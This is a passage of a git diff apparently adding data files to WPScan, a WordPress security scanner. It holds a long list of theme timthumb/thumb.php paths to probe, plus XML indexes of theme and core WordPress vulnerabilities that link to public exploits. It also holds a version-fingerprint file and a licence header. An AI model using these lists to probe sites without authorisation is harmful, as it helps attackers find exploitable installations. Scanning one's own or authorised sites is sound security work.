+$wp-content$/themes/sportpress/thumb.php +$wp-content$/themes/sportpress/timthumb.php +$wp-content$/themes/sportpress/tools/timthumb.php +$wp-content$/themes/spotlight/timthumb.php +$wp-content$/themes/squeezepage/timthumb.php +$wp-content$/themes/StandardTheme_261/timthumb.php +$wp-content$/themes/standout/thumb.php +$wp-content$/themes/startbox/includes/scripts/timthumb.php +$wp-content$/themes/statua/functions/thumb.php +$wp-content$/themes/statua/thumb.php +$wp-content$/themes/storeelegance/thumb.php +$wp-content$/themes/store/timthumb.php +$wp-content$/themes/striking/includes/thumb.php +$wp-content$/themes/striking/includes/timthumb.php +$wp-content$/themes/striking/timthumb.php +$wp-content$/themes/strikon/timthumb.php +$wp-content$/themes/StudioBlue/thumb.php +$wp-content$/themes/StudioBlue/timthumb.php +$wp-content$/themes/suffusion/thumb.php +$wp-content$/themes/suffusion/timthumb.php +$wp-content$/themes/suffusion/timthumb.phpthumb.php +$wp-content$/themes/suffusion/timthumb.phptimthumb.php +$wp-content$/themes/sufussion/timthumb.php +$wp-content$/themes/suitandtie/functions/thumb.php +$wp-content$/themes/suitandtie/thumb.php +$wp-content$/themes/supermassive/lib/scripts/timthumb.php +$wp-content$/themes/supportpress/functions/thumb.php +$wp-content$/themes/supportpress/functions/timthumb.php +$wp-content$/themes/swatch/functions/thumb.php +$wp-content$/themes/swatch/functions/timthumb.php +$wp-content$/themes/swatch/thumb.php +$wp-content$/themes/swift/includes/thumb.php +$wp-content$/themes/swift/includes/timthumb.php +$wp-content$/themes/swift/thumb.php +$wp-content$/themes/swift/timthumb.php +$wp-content$/themes/techcompass/functions/wpzoom/components/timthumb.php +$wp-content$/themes/techozoic-fluid/options/thumb.php +$wp-content$/themes/telegraph/scripts/thumb.php +$wp-content$/themes/telegraph/scriptsthumb.php +$wp-content$/themes/telegraph/scripts/timthumb.php +$wp-content$/themes/telegraph/scriptstimthumb.php +$wp-content$/themes/telegraph/scripts/timthumb.phptimthumb.php +$wp-content$/themes/telegraph/telegraph/scripts/timthumb.php +$wp-content$/themes/telegraph/thumb.php +$wp-content$/themes/telegraph/timthumb.php +$wp-content$/themes/telegraph_v1-1/scripts/timthumb.php +$wp-content$/themes/telegraph_v1.1/scripts/timthumb.php +$wp-content$/themes/TheCorporation/thumb.php +$wp-content$/themes/TheCorporation/timthumb.php +$wp-content$/themes/TheCorporation/tools/timthumb.php +$wp-content$/themes/the_dark_os/tools/timthumb.php +$wp-content$/themes/thedawn/lib/scripts/timthumb.php +$wp-content$/themes/thedawn/lib/scripts/timthumb.phpthumb.php +$wp-content$/themes/thedawn/lib/scripts/timthumb.phptimthumb.php +$wp-content$/themes/thedawn/lib/script/timthumb.php +$wp-content$/themes/thedawn/timthumb.php +$wp-content$/themes/thejournal/scripts/timthumb.php +$wp-content$/themes/thejournal/thumb.php +$wp-content$/themes/thejournal/timthumb.php +$wp-content$/themes/themetiger-fashion/thumb.php +$wp-content$/themes/themorningafter/functions/thumb.php +$wp-content$/themes/themorningafter/scripts/thumb.php +$wp-content$/themes/themorningafter/scripts/timthumb.php +$wp-content$/themes/themorningafter/themorningafter/thumb.php +$wp-content$/themes/themorningafter/thumb.php +$wp-content$/themes/themorningafter/timthumb.php +$wp-content$/themes/themorningafter/tools/timthumb.php +$wp-content$/themes/theory/thumb.php +$wp-content$/themes/TheProfessional/thumb.php +$wp-content$/themes/TheProfessional/timthumb.php +$wp-content$/themes/TheProfessional/tools/timthumb.php +$wp-content$/themes/TheSource/scripts/timthumb.php +$wp-content$/themes/TheSource/thumb.php +$wp-content$/themes/TheSource/timthumb.php +$wp-content$/themes/TheSource/tools/timthumb.php +$wp-content$/themes/thestation/functions/js/thumb.php +$wp-content$/themes/thestation/functions/thumb.php +$wp-content$/themes/thestation/scripts/timthumb.php +$wp-content$/themes/thestation/thumb.php +$wp-content$/themes/thestation/timthumb.php +$wp-content$/themes/thestation/tools/timthumb.php +$wp-content$/themes/thestation/tools/timthumb.phpthumb.php +$wp-content$/themes/thestation/tools/timthumb.phptimthumb.php +$wp-content$/themes/TheStyle/cache/thimthumb.php +$wp-content$/themes/TheStyle/includes/timthumb.php +$wp-content$/themes/TheStyle/inc/timthumb.php +$wp-content$/themes/TheStyle/plugins/timthumb.php +$wp-content$/themes/TheStyle/scripts/timthumb.php +$wp-content$/themes/TheStyle/thumb.php +$wp-content$/themes/TheStyle/timthumb.php +$wp-content$/themes/TheStyle/timthumb.phpthumb.php +$wp-content$/themes/TheStyle/timthumb.phptimthumb.php +$wp-content$/themes/TheStyle/tools/timthumb.php +$wp-content$/themes/the-theme/core/libs/thumbnails/thumb.php +$wp-content$/themes/the-theme/core/libs/thumbnails/timthumb.php +$wp-content$/themes/thetraveltheme/includes/cache/thumb.php +$wp-content$/themes/TheTravelTheme/includes/thumb.php +$wp-content$/themes/thetraveltheme/includes/timthumb.php +$wp-content$/themes/TheTravelTheme/includes/_timthumb.php +$wp-content$/themes/TheTravelTheme/includes/timthumb.php +$wp-content$/themes/TheTravelTheme/includes/timthumb.phpthumb.php +$wp-content$/themes/TheTravelTheme/includes/timthumb.phptimthumb.php +$wp-content$/themes/TheTravelTheme/thumb.php +$wp-content$/themes/TheTravelTheme/timthumb.php +$wp-content$/themes/thick/thumb.php +$wp-content$/themes/thrillingtheme/thumb.php +$wp-content$/themes/ThrillingTheme/thumb.php +$wp-content$/themes/thumb.php +$wp-content$/themes/TidalForce/timthumb.php +$wp-content$/themes/!timthumb.php +$wp-content$/themes/!timtimthumb.php +$wp-content$/themes/tm-theme/js/thumb.php +$wp-content$/themes/tm-theme/js/timthumb.php +$wp-content$/themes/totallyred/scripts/thumb.php +$wp-content$/themes/totallyred/scripts/timthumb.php +$wp-content$/themes/transcript/timthumb.php +$wp-content$/themes/Transcript/timthumb.php +$wp-content$/themes/travelogue-theme/scripts/thumb.php +$wp-content$/themes/travelogue-theme/scripts/timthumb.php +$wp-content$/themes/tribune/scripts/timthumb.php +$wp-content$/themes/true-blue-theme/timthumb.php +$wp-content$/themes/ttnews-theme/timthumb.php +$wp-content$/themes/twentyten/thumb.php +$wp-content$/themes/twentyten/timthumb.php +$wp-content$/themes/twittplus/scripts/thumb.php +$wp-content$/themes/twittplus/scripts/timthumb.php +$wp-content$/themes/typebased/custom/thumb.php +$wp-content$/themes/typebased/custom/timthumb.php +$wp-content$/themes/typebased/framework/includes/thumb.php +$wp-content$/themes/typebased/framework/includes/timthumb.php +$wp-content$/themes/typebased/framework/thumb/thumb.php +$wp-content$/themes/typebased/framework/thumb/timthumb.php +$wp-content$/themes/typebased/functions/scripts/thumb.php +$wp-content$/themes/typebased/functions/scripts/timthumb.php +$wp-content$/themes/typebased/functions/thumb.php +$wp-content$/themes/typebased/functions/thumb/thumb.php +$wp-content$/themes/typebased/functions/timthumb.php +$wp-content$/themes/typebased/functions/timthumb/timthumb.php +$wp-content$/themes/typebased/images/thumb.php +$wp-content$/themes/typebased/images/timthumb.php +$wp-content$/themes/typebased/includes/thumb.php +$wp-content$/themes/typebased/includes/thumb/thumb.php +$wp-content$/themes/typebased/includes/thumb/timthumb.php +$wp-content$/themes/typebased/includes/timthumb.php +$wp-content$/themes/typebased/includes/timthumb/timthumb.php +$wp-content$/themes/typebased/inc/thumb.php +$wp-content$/themes/typebased/inc/timthumb.php +$wp-content$/themes/typebased/js/thumb.php +$wp-content$/themes/typebased/js/timthumb.php +$wp-content$/themes/typebased/layouts/thumb.php +$wp-content$/themes/typebased/layouts/timthumb.php +$wp-content$/themes/typebased/lib/custom/thumb.php +$wp-content$/themes/typebased/lib/custom/timthumb.php +$wp-content$/themes/typebased/library/functions/thumb.php +$wp-content$/themes/typebased/library/functions/timthumb.php +$wp-content$/themes/typebased/library/resource/thumb.php +$wp-content$/themes/typebased/library/resource/timthumb.php +$wp-content$/themes/typebased/library/thumb.php +$wp-content$/themes/typebased/library/thumb/thumb.php +$wp-content$/themes/typebased/library/thumb/timthumb.php +$wp-content$/themes/typebased/library/timthumb.php +$wp-content$/themes/typebased/library/timthumb/timthumb.php +$wp-content$/themes/typebased/lib/script/thumb.php +$wp-content$/themes/typebased/lib/script/timthumb.php +$wp-content$/themes/typebased/lib/thumb.php +$wp-content$/themes/typebased/lib/thumb/thumb.php +$wp-content$/themes/typebased/lib/thumb/timthumb.php +$wp-content$/themes/typebased/lib/timthumb.php +$wp-content$/themes/typebased/lib/timthumb/timthumb.php +$wp-content$/themes/typebased/modules/thumb.php +$wp-content$/themes/typebased/modules/timthumb.php +$wp-content$/themes/typebased/options/thumb.php +$wp-content$/themes/typebased/options/timthumb.php +$wp-content$/themes/typebased/scripts/thumb.php +$wp-content$/themes/typebased/scripts/thumb/thumb.php +$wp-content$/themes/typebased/scripts/thumb/timthumb.php +$wp-content$/themes/typebased/scripts/timthumb.php +$wp-content$/themes/typebased/scripts/timthumb/timthumb.php +$wp-content$/themes/typebased//thumb.php +$wp-content$/themes/typebased/thumb.php +$wp-content$/themes/typebased/thumb/thumb.php +$wp-content$/themes/typebased/thumb/timthumb.php +$wp-content$/themes/typebased//timthumb.php +$wp-content$/themes/typebased/timthumb.php +$wp-content$/themes/typebased/timthumb/timthumb.php +$wp-content$/themes/typebased/tools/thumb.php +$wp-content$/themes/typebased/tools/thumb/thumb.php +$wp-content$/themes/typebased/tools/thumb/timthumb.php +$wp-content$/themes/typebased/tools/timthumb.php +$wp-content$/themes/typebased/tools/timthumb/timthumb.php +$wp-content$/themes/typographywp/timthumb.php +$wp-content$/themes/uBillboard/timthumb.php +$wp-content$/themes/uBillBoard/timthumb.php +$wp-content$/themes/ubuildboard/timthumb.php +$wp-content$/themes/u-design/scripts/thumb.php +$wp-content$/themes/u-design/scripts/timthumb.php +$wp-content$/themes/u-design/timthumb.php +$wp-content$/themes/ugly/thumb.php +$wp-content$/themes/ugly/timthumb.php +$wp-content$/themes/UltraNews/timthumb.php +$wp-content$/themes/unisphere_corporate/timthumb.php +$wp-content$/themes/unity/timthumb.php +$wp-content$/themes/urbanhip/includes/timthumb.php +$wp-content$/themes/versatile/thumb.php +$wp-content$/themes/versatile/timthumb.php +$wp-content$/themes/versitility/thumb.php +$wp-content$/themes/versitility/timthumb.php +$wp-content$/themes/vibefolio-teaser-10/scripts/timthumb.php +$wp-content$/themes/vibrantcms/functions/thumb.php +$wp-content$/themes/vibrantcms/thumb.php +$wp-content$/themes/vibrantcms/timthumb.php +$wp-content$/themes/vina/thumb.php +$wp-content$/themes/vulcan/thumb.php +$wp-content$/themes/vulcan/timthumb.php +$wp-content$/themes/Webly/thumb.php +$wp-content$/themes/Webly/timthumb.php +$wp-content$/themes/Webly/timthumb.phptimthumb.php +$wp-content$/themes/welcome_inn/scripts/timthumb.php +$wp-content$/themes/welcome_inn/thumb.php +$wp-content$/themes/welcome_inn/thumb.phpthumb.php +$wp-content$/themes/welcome_inn/thumb.phptimthumb.php +$wp-content$/themes/welcome_inn/timthumb.php +$wp-content$/themes/whitemag/script/thumb.php +$wp-content$/themes/widescreen/includes/thumb.php +$wp-content$/themes/widescreen/includes/timthumb.php +$wp-content$/themes/widescreen/scripts/thimthumb.php +$wp-content$/themes/widescreen/timthumb.php +$wp-content$/themes/Widescreen/tools/timthumb.php +$wp-content$/themes/wootube/functions/thumb.php +$wp-content$/themes/wootube/scripts/timthumb.php +$wp-content$/themes/wootube/thumb.php +$wp-content$/themes/wootube/timthumb.php +$wp-content$/themes/wootube/tools/timthumb.php +$wp-content$/themes/wpapi/thumb.php +$wp-content$/themes/wpbus-d4/includes/timthumb.php +$wp-content$/themes/$wp-content$/themes/royalle/lib/script/timthumb.php +$wp-content$/themes/wp-creativix/scripts/thumb.php +$wp-content$/themes/wp-creativix/scripts/timthumb.php +$wp-content$/themes/wp-creativix/timthumb.php +$wp-content$/themes/wp-creativix/tools/timthumb.php +$wp-content$/themes/WPFanPro2.0/lib/scripts/timthumb.php +$wp-content$/themes/WPFanPro2.0/lib/thumb.php +$wp-content$/themes/wp-newsmagazine/scripts/timthumb.php +$wp-content$/themes/wp-newspaper/timthumb.php +$wp-content$/themes/wp-perfect/js/thumb.php +$wp-content$/themes/wp-perfect/js/timthumb.php +$wp-content$/themes/wp-premium-orange/thumb.php +$wp-content$/themes/wp-premium-orange/timthumb.php +$wp-content$/themes/wp_rokstories/thumb.php +$wp-content$/themes/wp_rokstories/timthumb.php +$wp-content$/themes/WPStore/thumb.php +$wp-content$/themes/WPstore/timthumb.php +$wp-content$/themes/WPStore/timthumb.php +$wp-content$/themes/wpuniversity/scripts/timthumb.php +$wp-content$/themes/xiando-one/thumb.php +$wp-content$/themes/yamidoo/scripts/timthumb.php +$wp-content$/themes/yamidoo/scripts/timthumb.phptimthumb.php +$wp-content$/themes/yamidoo/timthumb.php +$wp-content$/themes/yamidoo/yamidoo/scripts/timthumb.php +$wp-content$/themes/Zagetti/lib/shortcodes/includes/thumb.php +$wp-content$/themes/Zagetti/lib/shortcodes/includes/timthumb.php +$wp-content$/themes/zcool-like/thumb.php +$wp-content$/themes/zcool-like/timthumb.php +$wp-content$/themes/zcool-like/uploadify.php +$wp-content$/themes/zenko/includes/timthumb.php +$wp-content$/themes/zenkoreviewRD/scripts/timthumb.php +$wp-content$/themes/zenkoreviewRD/timthumb.php +$wp-content$/themes/zenko/scripts/thumb.php +$wp-content$/themes/zenko/scripts/timthumb.php +$wp-content$/themes/Zenko/scripts/timthumb.php +$wp-content$/uBillboard/timthumb.php +$wp-content$/uploads/thumb-temp/timthumb.php diff --git a/data/wp_theme_vulns.xml b/data/wp_theme_vulns.xml new file mode 100644 index 00000000..06e45f62 --- /dev/null +++ b/data/wp_theme_vulns.xml @@ -0,0 +1,865 @@ + + + + + + + WordPress Famous Theme 2.0.5 Shell Upload + http://packetstormsecurity.org/files/113842/ + UPLOAD + + + + + + WordPress Deep-Blue Theme 1.9.2 Arbitrary File Upload Vulnerability + http://packetstormsecurity.org/files/113843/ + UPLOAD + + + + + + WordPress Classipress Theme <= 3.1.4 Stored XSS + http://www.exploit-db.com/exploits/18053/ + XSS + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + + + WooThemes WooFramework Remote Unauthenticated Shortcode Execution + https://gist.github.com/2523147 + RCE + + + + diff --git a/data/wp_versions.xml b/data/wp_versions.xml new file mode 100644 index 00000000..bc9c6f14 --- /dev/null +++ b/data/wp_versions.xml @@ -0,0 +1,232 @@ + + + + + + + + + 1 + 3.4.1 + + + + 1 + 3.4 + + + + 1 + 3.4-beta4 + + + + + + + 1 + 3.3.2 + + + + + + + + + + 1 + 3.3.1 + + + + + + + + + 1 + 3.2.1 + + + + 1 + 3.2 + + + + + + + + + 1 + 3.3 + + + + + + + + + 1 + 3.1 + + + + + + + + + 1 + 3.0 + + + + + + + + + 1 + 2.8.6 + + + + 1 + 2.8.5 + + + + 1 + 2.8.2 + + + + + + + + + 1 + 2.7.1 + + + + + + + + + 1 + 2.7 + + + + + + + + + 1 + 2.6 + + + + + + + + + 1 + 2.5.1 + + + + + + + + + 1 + 2.5 + + + + + + + + + 1 + 2.2 + + + + + + + + + 1 + 2.0.1 + + + + 1 + 2.0 + + + + + + + + + 1 + 1.2.1 + + + + 1 + 1.2-delta + + + + + + + + 1 + 0.71-gold + + + + + diff --git a/data/wp_vulns.xml b/data/wp_vulns.xml new file mode 100644 index 00000000..d79b0a08 --- /dev/null +++ b/data/wp_vulns.xml @@ -0,0 +1,211 @@ + + + + + + Wordpress 3.3.1 Multiple CSRF Vulnerabilities + http://www.exploit-db.com/exploits/18791/ + + + + + + Wordpress 3.3.1 Multiple CSRF Vulnerabilities + http://www.exploit-db.com/exploits/18791/ + + + WordPress 3.3.2 Cross Site Scripting + http://packetstormsecurity.org/files/113254 + + + + + + Multiple vulnerabilities including XSS and Privilege Escalation + http://wordpress.org/news/2012/04/wordpress-3-3-2/ + + + Wordpress 3.3.1 Multiple CSRF Vulnerabilities + http://www.exploit-db.com/exploits/18791/ + + + + + + Reflected Cross-Site Scripting in WordPress 3.3 + http://oldmanlab.blogspot.com/2012/01/wordpress-33-xss-vulnerability.html + + + + + + Multiple SQL Injection Vulnerabilities + http://www.exploit-db.com/exploits/17465/ + + + + + + Wordpress <= 3.1.2 Clickjacking Vulnerability + http://seclists.org/fulldisclosure/2011/Sep/219 + + + + + + SQL injection vulnerability in do_trackbacks() Wordpress function + http://www.exploit-db.com/exploits/15684/ + + + Wordpress 3.0.3 stored XSS IE7,6 NS8.1 + http://www.exploit-db.com/exploits/15858/ + + + + + + WordPress 2.9 Failure to Restrict URL Access + http://www.exploit-db.com/exploits/11441/ + + + Wordpress DOS <= 2.9 + http://www.exploit-db.com/exploits/11441/ + + + + + + WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution + http://www.exploit-db.com/exploits/10089/ + + + + + + Wordpress <= 2.8.3 Remote Admin Reset Password Vulnerability + http://www.exploit-db.com/exploits/9410/ + + + + + + Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit + http://www.exploit-db.com/exploits/9250/ + + + + + + WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass Vulnerability + http://www.exploit-db.com/exploits/10088/ + + + + + + Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit + http://www.exploit-db.com/exploits/6421/ + + + + + + Wordpress <= 2.3.1 Charset Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/4721/ + + + + + + WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit + http://www.exploit-db.com/exploits/4113/ + + + Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit + http://www.exploit-db.com/exploits/4039/ + + + + + + Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit + http://www.exploit-db.com/exploits/3960/ + + + + + + Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit + http://www.exploit-db.com/exploits/3656/ + + + + + + Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit + http://www.exploit-db.com/exploits/3109/ + + + + + + Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit + http://www.exploit-db.com/exploits/3095/ + + + + + + WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit + http://www.exploit-db.com/exploits/6/ + + + + + + Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit) + http://www.exploit-db.com/exploits/1145/ + + + + + + Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit + http://www.exploit-db.com/exploits/1077/ + + + + + + WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit + http://www.exploit-db.com/exploits/1059/ + + + WordPress <= 1.5.1.1 SQL Injection Exploit + http://www.exploit-db.com/exploits/1033/ + + + + diff --git a/lib/browser.rb b/lib/browser.rb new file mode 100644 index 00000000..61da0628 --- /dev/null +++ b/lib/browser.rb @@ -0,0 +1,218 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# ryandewhurst at gmail +# + 